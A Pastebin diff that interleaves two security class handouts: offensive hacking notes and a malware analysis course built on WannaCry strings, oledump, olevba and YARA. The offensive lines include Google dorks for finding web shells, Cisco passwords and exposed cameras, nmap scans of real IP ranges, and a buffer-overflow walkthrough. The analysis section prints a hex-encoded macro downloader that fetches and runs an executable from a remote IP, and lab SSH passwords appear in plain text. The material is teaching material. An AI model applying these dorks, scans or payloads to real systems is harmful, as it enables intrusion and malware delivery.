View difference between Paste ID: 5ZbgLeHP and UyYWUq3K

 #####################################################
-# Offensive/Defensive Cyber                         #
+# Advanced Malware Analysis 2020                    #
 # By Joe McCray                                     #
 #####################################################
 
 - Here is a good set of slides for getting started with Linux:
-Here are some Google hacking queries to practice.
+
 
 
------------------------
+
 http://linuxsurvival.com/linux-tutorial-introduction/
-big brother status green
+
 
-############
+
-# r57shell #
+
-############
+
-inurl:r57 intext:r57 cpu+mem+phpini+phpinfo intitle:r57shell
+
-r57 "[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]"
+
-c99 "[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]"
+
 Host Name:          66.42.87.42
 protocol:           ssh
 port:               22
 username:           ama
 password:           ama-secureninja!
-#########
+
-# Cisco #
+
-#########
+
-filetype:cfg intext: "enable password" cisco
+
-inurl:"NetworkConfiguration" cisco
+If you are on a Mac (https://osxdaily.com/2017/04/28/howto-ssh-client-mac/)
-inurl:"ccmuser" intext:cisco
+
-inurl:"ccmuser/logon.asp"
+Open a terminal, then type:
-inurl:-cfg intext:"enable password"
+
-inurl:"level/15/exec/-/show"
+ssh -l ama 66.42.87.42
-intitle:Cisco Systems, Inc VPN 3000 Concentrator
+
 
 
 
-###########
+
-# Windows #
+
-###########
+
-filetype:pwd inurl:"/service.pwd"
+
-ext:ica intext:Password
+
-ext:reg "Terminal Server Client"
+
 4. Connect to the network       - WS2_32.dll
 
 
-###########
+
-# Cameras #
+
-###########
+
-inurl:"ViewerFrame?Mode="
+
-inurl:home/homej.html intitle:snc
+
-inurl:home/homea.html intitle:snc
+
-intitle:flexwatch intext:"Home page ver"
+
-(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext:"Open Menu" Shift-Reload
+
-intitle:"Live View / - AXIS" | inurl:view/view.sht
+
 1. Static Analysis  <----------------------------------------- Cloud based static analysis
 Learn everything I can without actually running the file
     - Modify FS                     - File integrity checker
     - Modify registry
     - Modify processes/services
-------------------------------------------------------------------------------------------------------------------------------------
+
 
 
 
 2. Dynamic Analysis
 Runs the file in a VM/Sandbox
 
 ################
 # The Scenario #
 ################
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
 
 
 The fastest thing you can do is perform static analysis.
 
 
-Host Name:          107.191.39.106
+
 
 ###################
-username:           ocodco
+
-password:           ocodco123!!!
+
 
 ---------------------------Type This-----------------------------------
 
 cd ~/static_analysis
 
 file wannacry.exe
 
 cp wannacry.exe malware.pdf
 
 file malware.pdf
 
 hexdump -n 2 -C wannacry.exe
 
 ----------------------------------------------------------------------
 
 
 ***What is '4d 5a' or 'MZ'***
 -------------------------Paste this URL into Firefox-----------------------------------
 http://www.garykessler.net/library/file_sigs.html
 ---------------------------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
 cd ~/static_analysis
 
 objdump -x wannacry.exe
 
 objdump -x wannacry.exe | less
      q
 
 strings wannacry.exe
 
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 ----------------------------------------------------------------------
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
 
 
 
 Ok, let's look for the individual strings
 
 
 ---------------------------Type This-----------------------------------
 cd ~/static_analysis
 
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
 
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 ----------------------------------------------------------------------
 
 
 
 
 
 ####################################
 # Tired of GREP - let's try Python #
 ####################################
 Decided to make my own script for this kind of stuff in the future. This is a really good script for the basics of static analysis
-pe info wannacry.exe
+
-pe check wannacry.exe
+
-pe dump --section text wannacry.exe
+
-pe dump --section data wannacry.exe
+
-pe dump --section rsrc wannacry.exe
+
-pe dump --section reloc wannacry.exe
+
-strings rdata | less
+
-strings rsrc | less
+
-strings text | less
+
 cd ~/static_analysis
 
 nano original_am.py
         ctrl-x
 
 python3 original_am.py wannacry.exe
 ----------------------------------------------------------------------
 
 
 #####################################################
 # Analyzing Macro Embedded Malware                  #
 #####################################################
 ---------------------------Type This-----------------------------------
 cd ~/static_analysis/oledump
 
 python oledump.py 064016.doc
 
 python oledump.py 064016.doc -s A4 -v
  -----------------------------------------------------------------------
 
 
 
 - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
 ---------------------------Type This-----------------------------------
 python oledump.py 064016.doc -s A5 -v
 -----------------------------------------------------------------------
 
 - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
 
 ---------------------------Type This-----------------------------------
 python oledump.py 064016.doc -s A3 -v
 
 - Look for "GVhkjbjv" and you should see:
 
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
 
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
 http://www.rapidtables.com/convert/number/hex-to-ascii.htm
 -----------------------------------------------------------------------
 
 
 
 
 #########################################
 # Security Operations Center Job Roles  #
 # Intrusion Analysis Level 1            #
 #########################################
 Required Technical Skills: 		                        Comfortable with basic Linux/Windows (MCSA/Linux+)
 								Comfortable with basic network (Network+)
 								Comfortable with security fundamentals (Security+)
 
 
 
 
 
 Job Task: 						        Process security events, follow incident response triage playbook
 
 #########################################
 # Security Operations Center Job Roles  #
 # Intrusion Analysis Level 2            #
 #########################################
 
 Required Technical Skills: 		                        Comfortable with basic Linux/Windows system administration
 								Comfortable with basic network administration
 								Comfortable with basic programming
 								Comfortable researching IT security issues
 
 
-nano am.py
+
 
-python3 am.py wannacry.exe
+
 Job Task: 						        Perform detailed malware analysis, assist with development of the incident response triage playbook
 
 #########################################
 # Security Operations Center Job Roles  #
 # Intrusion Analysis Level 3            #
 #########################################
 
 Required Technical Skills: 		                        Strong statistical analysis background
 								Strong programming background (C, C++, Java, Assembly, scripting languages)
 								Advanced system/network administration background
 								Comfortable researching IT security issues
 
 
 
 
 
 Job Task: 						        Perform detailed malware analysis
 								Perform detailed statistical analysis
 								Assist with development of the incident response triage playbook
 
 
 
 
 -------------------------------------------------------------------------------------------------------------------------
 
 Step 1: Receive suspicious file
 -------------------------------
 - Help Desk tickets
 - SIEM
 - AV
 - EDR
 - Email/Spam
 - Proxy
 
 
 
 Step 2: Perform static analysis
 -------------------------------
 1. Run strings/grep for primary IoCs
 	- Modifies the registry
 	- Modifies processes/services
 	- Modifies the filesystem
 	- Connects to the network
-Required Technical Skills: 		Comfortable with basic Linux/Windows (MCSA/Linux+)
+
 	A yes to these should help you determine whether you want to do dynamic analysis or not
 
 	Consideration 1: Encryption/Obfuscation - you may have to do dynamic analysis
 
 	Consideration 2: If you dealing with anti-analysis - you may have to do static analysis
 
 
-Job Task: 						Process security events, follow incident response triage playbook
+
 
 
 Step 3: Determine if the malware modifies the registry
 ------------------------------------------------------
 
 
-Required Technical Skills: 		Comfortable with basic Linux/Windows system administration
+
 cd ~/static_analysis/
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i hkcu
 
 strings wannacry.exe | grep -i hklm
 
-Job Task: 						Perform detailed malware analysis, assist with development of the incident response triage playbook
+strings wannacry.exe | grep -i hkcr
 -----------------------------------------------------------------------
 
 
 
 Step 4: Determine if the malware modifies processes/services
 ------------------------------------------------------------
-Required Technical Skills: 		Strong statistical analysis background
+
 ---------------------------Type This-----------------------------------
 cd ~/static_analysis/
 strings wannacry.exe | grep -i advapi32
 
 strings wannacry.exe | grep -i service
 
 strings wannacry.exe | grep -i OpenSCManagerA
 
-Job Task: 						Perform detailed malware analysis
+strings wannacry.exe | grep -i OpenSCManagerA
 
 strings wannacry.exe | grep -i InternetCloseHandle
 
 strings wannacry.exe | grep -i OpenServiceA
 
 strings wannacry.exe | grep -i CloseServiceHandle
 
-#######################
+strings wannacry.exe | grep -i StartServiceCtrlDispatcherA
-# Passive Recon       #
+
-# aka: OSINT          #
+strings wannacry.exe | grep -i GetExitCodeProcess
-# aka: Footprinting #
+
-#######################
+strings wannacry.exe | grep -i GetProcAddress
 -----------------------------------------------------------------------
-- Wikipedia Page
+
-    - Are they Public or Private?
+
-    - Does the target have any subsidiaries?
+
-        - Have they had any scandals?
+Step 4: Determine if the malware modifies the file system
 ------------------------------------------------------------
-- Robtex
+
-    - Show system map
+
 cd ~/static_analysis/
-- Sample OSINT Report:
+strings wannacry.exe | grep -i GetTempPathW
-	https://infosecaddicts-files.s3.amazonaws.com/OSINT_Innophos.doc
+
 strings wannacry.exe | grep -i GetWindowsDirectoryW
-- Misc
+
-	OSINT on a hacker group:
+strings wannacry.exe | grep -i %TEMP%
-	https://en.wikipedia.org/wiki/Anonymous_(group)
+
-	https://en.wikipedia.org/wiki/LulzSec
+strings wannacry.exe | grep -i GetFileAttributesA
 -----------------------------------------------------------------------
-	OSINT on a terrorist group:
+
-	https://en.wikipedia.org/wiki/Al-Qaeda
+
-	https://en.wikipedia.org/wiki/Taliban
+
-	https://en.wikipedia.org/wiki/Islamic_State_of_Iraq_and_the_Levant
+
-
+
 Step 5: Does the malware have any persistence capability
 --------------------------------------------------------
 3 main ways for an attacker to maintain access to a compromised system (persistence)
-Step 1: Download Nmap
+
---------------------
+- Registry
-Windows: https://nmap.org/dist/nmap-7.70-setup.exe
+- Service
-Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
+- Scheduled task
 
-Linux:
+
---- Fedora/CentOS/RHEL:    sudo yum install -y nmap
+
---- Ubuntu/Mint/Debian:    sudo apt-get install -y nmap
+
 ##############
 # Class task #
 ##############
-########################
+
-# Scanning Methodology #
+Task 1: Go to https://joesecurity.org/joe-sandbox-reports
-########################
+
 Identify 5 reports for malware that are similar to what you've seen or been concerned about in your environment
 
 1. Maze
 2. Bad rabbit
 3. Trojanized Adobe Installer
 4. Emotel
 5. bitcoin miner
-Host Name:          107.191.39.106
+
 
 
-username:           ocodco
+Task 2: What do you want to be able to find
-password:           ocodco123!!!
+What did you see in each of these reports that you found interesting and would like to be able to look for in your investigations?
 
 Task 3: Identify the unique strings that you would like to search for
-- Ping Sweep
+1.
-What's alive?
+2.
 3.
-Note: On windows you won't need to use the word "sudo" in front of the command below:
+
 
----------------------------On Linux or Mac OS X type This-----------------------------------
+Task 4: Unique classes of attack
-sudo nmap -sP 157.166.226.*
+Identify the unique classes of signatures that interest us the most that are NOT in my am.py file list
---------------------------------------------------------------------------------------------
+1. Trickier http request methods
 2. Dynamic libraries/API calls
 3. Lateral movement
 
-    -if -SP yields no results try:
+
-Note: On windows you won't need to use the word "sudo" in front of the command below:
+
----------------------------On Linux or Mac OS X type This-----------------------------------
+Task 5: Identify limitations of the script
-sudo nmap -sL 157.166.226.*
+1. Only analyzes exes
-------------------------------------------------------------------------------------------
+2. Too many functions and no classes
 3. Not modular enough
 4. Signature list is not very thorough
 5. Doesn't save to db
-    -Look for hostnames:
+
-Note: On windows you won't need to use the word "sudo" in front of the command below:
+
----------------------------On Linux or Mac OS X type This-----------------------------------
+
-sudo nmap -sL 157.166.226.* | grep cnn
+
--------------------------------------------------------------------------------------------
+cd /home/ama/malware_samples/office-doc_files
 
 file sample1.doc
 
-- Port Scan
+olevba sample1.doc
-What's where?
+
 python /home/ama/static_analysis/oledump/oledump.py sample1.doc
-Note: On windows you won't need to use the word "sudo" in front of the command below:
+
----------------------------On Linux or Mac OS X type This-----------------------------------
+
-sudo nmap -sS 162.243.126.247
+
---------------------------------------------------------------------------------------------
+What is oledump.py?
 ===================
 
 Reference: https://blog.didierstevens.com/programs/oledump-py/
-- Bannergrab/Version Query
+
-What versions of software are running
+oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.
--------------------------------------
+
-Note: On windows you won't need to use the word "sudo" in front of the command below:
+Many applications use this file format, the best known is MS Office. .doc, .xls, .ppt, … are OLE files (docx, xlsx, … is the new file format: XML inside ZIP).
----------------------------On Linux or Mac OS X type This-----------------------------------
+
-sudo nmap -sV 162.243.126.247
+
--------------------------------------------------------------------------------------------
+
 What is olevba?
 ===============
 
-Let's dig into this a little bit more:
+Reference: https://github.com/decalage2/oletools/wiki/olevba
--------------------------------------
+
-Note: On windows you won't need to use the word "sudo" in front of the command below:
+olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, anti-sandboxing and anti-virtualization techniques, and potential IOCs (IP addresses, URLs, executable filenames, etc). It also detects and decodes several common obfuscation methods including Hex encoding, StrReverse, Base64, Dridex, VBA expressions, and extracts IOCs from decoded strings. XLM/Excel 4 Macros are also supported in Excel and SLK files.
----------------------------On Linux or Mac OS X type This-----------------------------------
+
-sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
+It can be used either as a command-line tool, or as a python module from your own applications.
--------------------------------------------------------------------------------------------
+
 It is part of the python-oletools package.
 
 
-- Vulnerability Research
+Now let's dig in with oledump
-Lookup the banner versions for public exploits
+
-----------------------------------------------
+
-http://exploit-db.com
+
-http://securityfocus.com/bid
+
-https://packetstormsecurity.com/files/tags/exploit/
+cd /home/ama/malware_samples/office-doc_files
 
----------------------------------------------------------------------------------------------------------------------------------
+python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A7 -v
 
 python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A8 -v
 
-Network Penetration Testing Process (known vulnerabilities)
+python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A9 -v
------------------------------------------------------------
+
 
 
-1. Ping Sweep:
+
-The purpose of this step is to identify live hosts
+
 
-    nmap -sP <ip-address/ip-range>
+
 Now let's dig in with olevba
 
-2. Port Scan
+
-Identify running services. We use the running services to map the network topology.
+
 ---------------------------Type This-----------------------------------
-    nmap -sS <ip-address/ip-range>
+cd /home/ama/malware_samples/office-doc_files
 
 olevba sample1.doc --decode
-3. Bannergrab
+
-Identify the version of version of software running on each port
+olevba sample1.doc --deobf
 ----------------------------------------------------------------------
-    nmap -sV <ip-address/ip-range>
+
-
+
 
                               ###########
-4. Vulnerability Research
+############################## EXE Files ###############################
-Use the software version number to research and determine if it is out of date (vulnerable).
+                              ###########
 
-    exploit-db.com/search
+OK, let's take a look at exe files
 
 
 
 ---------------------------Type This-----------------------------------
 cd /home/ama/malware_samples/exe_files
 
 objdump -x sample1.exe
 
 objdump -x sample1.exe | less
-Skill Level 1. Run the scanners
+
 
-    Nexpose
+strings sample1.exe
-    Qualys
+
-    Retina
+strings sample1.exe | grep -i dll
-    Nessus              known vulnerabilities
+
-    OpenVas
+strings sample1.exe | grep -i library
-    Foundscan
+
-    GFI LanGuard
+strings sample1.exe | grep -i reg
-    NCircle
+
 strings sample1.exe | grep -i key
 
-Skill Level 2. Manual vulnerability validation (known vulnerabilities)
+strings sample1.exe | grep -i rsa
 
 strings sample1.exe | grep -i open
-    windows ->  	systeminfo
+
-    Linux->     	dpkg -l			(Debian/Ubuntu/Mint)
+strings sample1.exe | grep -i get
-            		rpm -qa			(RHEL/Fedora/Centos)
+
 strings sample1.exe | grep -i mutex
-	Mac OS X->		sudo find / -iname *.app
+
 strings sample1.exe | grep -i irc
 
 strings sample1.exe | grep -i join
 
 strings sample1.exe | grep -i admin
 
 strings sample1.exe | grep -i list
-#####################################
+
-# Quick Stack Based Buffer Overflow #
+python3 ~/static_analysis/previous_class_am.py sample1.exe
-#####################################
+
 
-- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
+
-http://45.63.104.73/ExploitLab.zip
+
-http://45.63.104.73/nc-password-is-netcat.zip   <--- save this file to your c:\windows\system32 directory
+Let's play with another tool called pyew.
 
 
-- Extract the ExploitLab.zip file to your Desktop
+Reference: https://github.com/joxeankoret/pyew
 
-- Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
+Pyew is a tool like radare or biew/hiew. It’s an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE & ELF formats as well as other non executable formats, like OLE2 or PDF.
 
 
 
-- Open a new command prompt and type:
+
 ---------------------------Type This-----------------------------------
 pyew sample1.exe
-nc localhost 9999
+
---------------------------------------------------------------------------
+[0x00000000]> ?
 
-If you don't have netcat you can download it from here:
+[0x00000000]> md5
-http://45.63.104.73/nc-password-is-netcat.zip
+
 [0x00000000]> sha256
-The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
+
 [0x00000000]> url
 
-- In the new command prompt window where you ran nc type:
+[0x00000000]> chkurl
-HELP
+
 
-- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
+Since this is a PE file, let's do some stuff that's specific for exe files
-- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
+
 Here are the commands again:
-- Now double-click on 1-simplefuzzer.py
+Commands:
-- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
+
 ?/help                            Show this help
 x/dump/hexdump                    Show hexadecimal dump
-- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
+s/seek                            Seek to a new offset
 g/G                               Goto BOF (g) or EOF (G)
-- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
++/-                               Go forward/backward one block (specified by pyew.bsize)
 c/d/dis/pd                        Show disassembly
-- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
+r/repr                            Show string represantation
 p                                 Print the buffer
-- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
+/x expr                           Search hexadecimal string
 /s expr                           Search strings
-- Now isolate the crash by restarting your debugger and running script 2-3000chars.py
+/i expr                           Search string ignoring case
 /r expr                           Search regular expression
-- Calculate the distance to EIP by running script 3-3000chars.py
+/u expr                           Search unicode expression
-- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
+/U expr                           Search unicode expression ignoring case
 
-4-count-chars-to-EIP.py
+
-- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
+Now, let's see the disassembly at the entry point so, seek to the entry point:
-- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
+
 [0x00000000]> s ep
-5-2006char-eip-check.py
+
-- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
+
 
-6-jmp-esp.py
+And disassemble it with the command "c" (you may also use "d", "dis" or "pd"):
-- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
+
 [0x00025ce0:0x00426ae0]> c
-7-first-exploit
+
-- In this script we actually do the stack overflow and launch a bind shell on port 4444
+
 To see the code at the function's position, just type the number assigned to the function (the number after the ";" character):
-8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
+
 [0x00025ce0:0x00426ae0]> 1
 [0x00025d07:0x00426b07]> 2
 -----------------------------------------------------------------------
 
 
 
-Skill Level 3. Identify unknown vulnerabilities
+OK, we're done analyzing this function. To go back to the prior point (the entry point in our case) we can type "b" to go back:
------------------------------------------------
+
 [0x00025d07:0x00426b07]> b
-- App Type
+
 
-    Stand Alone             Client Server               Web App
+
 To continue seeing more disassembly just press the enter key to see the next block's disasembly (BTW, if the last command was "x" to show the hexadecimal dump, by pressing enter you would see the next block's hexadecimal dump):
-                        ***(vulnerserver.exe)***
+
 
 
-- Input TYpe
+To list the functions detected by Pyew type "pyew.names":
--------------
+
-    FIle                    logical network port            Browser
+[0x00025cfe:0x00426afe]> pyew.names
-    Keyboard
+
-    Mouse
+
 
 Let's see if it was packed
 ---------------------------Type This-----------------------------------
-                        ***(9999)***
+[0x00025ce0:0x00426ae0]> packer
 -----------------------------------------------------------------------
 
-- Map & Fuzz app entry points:
+
 Let's see if it uses any anti virutal machine tricks
-    - Commands              ***(commands)***
+
-    - Methods
+[0x00025ce0:0x00426ae0]> antivm
-    - Verbs
+
-    - functions
+
-    - subroutines
+
-    - controllers
+
 
 
-- Isolate the crash
+
--------------------
+
-App seems to reliably crash at TRUN 2100
+
 # Yara Ninja #
 ##############
-- Calculate the distance to EIP
+
 
-Distance to EIP is 2006
+
 
-We found that EIP was populated with the value: 396F4338
+
-396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
+
 https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/
-An online tool that we can use for this is:
+
-https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
+
 
 - Yara Rule -
 
-- Redirect Program Execution
+
-----------------------------
+
-A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
+
-We learned that we control EAX and ESP in script 2.
+
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
-- Implement Shellcode
+
----------------------
+
-There are only 2 things that can go wrong with shellcode:
+
-- Not enough space
+
-- Bad characters
+
 
 
 Ok, let's look for the individual strings
 
 ---------------------------Type This-----------------------------------
 
 
-#######################################################
+
-# Open the following web links below as tabs          #
+
-# For each web link answer all of the questions below #
+
-#######################################################
+
-https://www.exploit-db.com/exploits/46762
+
-https://www.exploit-db.com/exploits/46070
+
-https://www.exploit-db.com/exploits/40713
+
-https://www.exploit-db.com/exploits/46458
+
-https://www.exploit-db.com/exploits/40712
+
-https://www.exploit-db.com/exploits/40714
+
-https://www.exploit-db.com/exploits/40680
+
-https://www.exploit-db.com/exploits/40673
+
-https://www.exploit-db.com/exploits/40681
+
-https://www.exploit-db.com/exploits/37731
+
-https://www.exploit-db.com/exploits/31254
+
-https://www.exploit-db.com/exploits/31255
+# Playing with Yara #
-https://www.exploit-db.com/exploits/27703
+
-https://www.exploit-db.com/exploits/27277
+Let's see if we can get yara working.
-https://www.exploit-db.com/exploits/26495
+
-https://www.exploit-db.com/exploits/24557
+
-https://www.exploit-db.com/exploits/39417
+
-https://www.exploit-db.com/exploits/23243
+
 
 
 
-                      ###############################
+
-###################### # Class Exploit Dev Quiz Task # ######################
+cd ~/students/
-                      ###############################
+
 mkdir [yourname]
 
-EID number:
+cd [yourname]
 
-1. Vulnerable Software Info
+cp ~/wannacry.exe .
-    a- Product Name
+
-    b- Software version
+nano wannacry_1.yar
-    c- Available for download
+
 ---------------------------Paste This-----------------------------------
 rule wannacry_1 : ransom
-2. Target platform
+{
-    a- OS Name								(ex: Windows XP)
+    meta:
-    b- Service pack							(ex: SP3)
+        author = "Joshua Cannell"
-    c- Language pack						(ex: English)
+        description = "WannaCry Ransomware strings"
         weight = 100
         date = "2017-05-12"
-3. Exploit info
+
-    a- modules imported                     (ex: sys, re, os)
+    strings:
-    b- application entry point              (ex: TRUN)
+        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
-    c- distance to EIP                      (ex: 2006)
+        $s2 = "Wanna Decryptor" wide ascii nocase
-    d- how is code redirection done         (ex: JMP ESP, JMP ESI)
+        $s3 = ".wcry" wide ascii nocase
-    e- number of NOPs                       (ex: 10 * \x90  = 10 NOPs)
+        $s4 = "WANNACRY" wide ascii nocase
-    f- length of shellcode					(ex: 368)
+        $s5 = "WANACRY!" wide ascii nocase
-    g- bad characters                       (ex: \x0a\x00\x0d)
+        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
-    h- is the target ip hard-coded
+
-    i- what does the shellcode do           (ex: bind shell, reverse shell, calc)
+    condition:
-    j- what is the total buffer length
+        any of them
-    k- does the exploit do anything to ensure the buffer doesn't exceed a certain length
+}
-    l- Is this a server side or client-side exploit
+
 ----------------------------------------------------------------------------
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 yara wannacry_1.yar wannacry.exe
-# FreeFloat FTP Server Exploit Analysis #
+
 -----------------------------------------------------------------------
 
 
 
-Analyze the following exploit code:
+
-https://www.exploit-db.com/exploits/15689/
+
 ---------------------------Type This-----------------------------------
-1. What is the target platform that this exploit works against?
+
-2. What is the variable name for the distance to EIP?
+nano wannacry_2.yar
-3. What is the actual distance to EIP in bytes?
+
-4. Describe what is happening in the variable ‘junk2’
+---------------------------Paste This-----------------------------------
 rule wannacry_2{
     meta:
         author = "Harold Ogden"
         description = "WannaCry Ransomware Strings"
-Analysis of the training walk-through based on EID: 15689:
+        date = "2017-05-12"
-http://45.63.104.73/ff.zip
+        weight = 100
 
     strings:
         $string1 = "msg/m_bulgarian.wnry"
         $string2 = "msg/m_chinese (simplified).wnry"
-ff1.py
+        $string3 = "msg/m_chinese (traditional).wnry"
-1. What does the sys module do?
+        $string4 = "msg/m_croatian.wnry"
-2. What is sys.argv[1] and sys.argv[2]?
+        $string5 = "msg/m_czech.wnry"
-3. What application entry point is being attacked in this script?
+        $string6 = "msg/m_danish.wnry"
         $string7 = "msg/m_dutch.wnry"
         $string8 = "msg/m_english.wnry"
         $string9 = "msg/m_filipino.wnry"
-ff2.py
+        $string10 = "msg/m_finnish.wnry"
-1. Explain what is happening in lines 18 - 20 doing.
+        $string11 = "msg/m_french.wnry"
-2. What is pattern_create.rb doing and where can I find it?
+        $string12 = "msg/m_german.wnry"
-3. Why can’t I just double click the file to run this script?
+        $string13 = "msg/m_greek.wnry"
         $string14 = "msg/m_indonesian.wnry"
         $string15 = "msg/m_italian.wnry"
         $string16 = "msg/m_japanese.wnry"
-ff3.py
+        $string17 = "msg/m_korean.wnry"
-1. Explain what is happening in lines 17 - to 25?
+        $string18 = "msg/m_latvian.wnry"
-2. Explain what is happening in lines 30 - to 32?
+        $string19 = "msg/m_norwegian.wnry"
-3. Why is everything below line 35 commented out?
+        $string20 = "msg/m_polish.wnry"
         $string21 = "msg/m_portuguese.wnry"
         $string22 = "msg/m_romanian.wnry"
         $string23 = "msg/m_russian.wnry"
-ff4.py
+        $string24 = "msg/m_slovak.wnry"
-1. Explain what is happening in lines 13 to 15.
+        $string25 = "msg/m_spanish.wnry"
-2. Explain what is happening in line 19.
+        $string26 = "msg/m_swedish.wnry"
-3. What is the total length of buff?
+        $string27 = "msg/m_turkish.wnry"
         $string28 = "msg/m_vietnamese.wnry"
 
 
-ff5.py
+    condition:
-1. Explain what is happening in line 15.
+        any of ($string*)
-2. What is struct.pack?
+}
-3. How big is the shellcode in this script?
+----------------------------------------------------------------------------
 
 
 
-ff6.py
+
-1. What is the distance to EIP?
+
-2. How big is the shellcode in this script?
+
-3. What is the total byte length of the data being sent to this app?
+
 
 ---------------------------Type This-----------------------------------
 
 yara wannacry_2.yar wannacry.exe
-ff7.py
+
-1. What is a tuple in python?
+
-2. How big is the shellcode in this script?
+
-3. Did your app crash in from this script?
+
 
 ---------------------------Type This-----------------------------------
 cd ~
 
-ff8.py
+yara rules/index.yar wannacry.exe
-1. How big is the shellcode in this script?
+
-2. What is try/except in python?
+cd rules/
-3. What is socket.SOCK_STREAM in Python?
+
 ls
 
 cd malware/
-ff9.py
+
-1. What is going on in lines 19 and 20?
+ls | grep -i ransom
-2. What is the length of the NOPs?
+
-3. From what DLL did the address of the JMP ESP come from?
+ls | grep -i rat
 
 ls | grep -i toolkit
 
 ls | grep -i apt
-ff010.py
+
-1. What is going on in lines 18 - 20?
+cd ..
-2. What is going on in lines 29 - 32?
+
-3. How would a stack adjustment help this script?
+cd capabilities/
 
 ls
 
 cat capabilities.yar
-# Offensive Cyber Operations Job Roles  #
+
-# Offensive Cyber Level 1               #
+cd ..
 
-Required Technical Skills: 		Comfortable with basic Linux/Windows (MCSA/Linux+)
+cd cve_rules/
 
 ls
 
 cd ..
 
-Job Task: 						Run network security scanners and assist with documentation of known vulnerabilities
+./index_gen.sh
 
 cd ..
-Tools Used:
+
-								Nmap
+yara rules/index.yar wannacry.exe
-    							Nexpose
+
-    							Qualys
+yara rules/index.yar wannacry.exe > ~/students/[yourname]/blah
-    							Retina
+
-    							Nessus              known vulnerabilities
+cd ~/students/[yourname]
-    							OpenVas
+
-    							Foundscan
+cat blah | grep -v warning
-    							GFI LanGuard
+
-    							NCircle
+
 
 
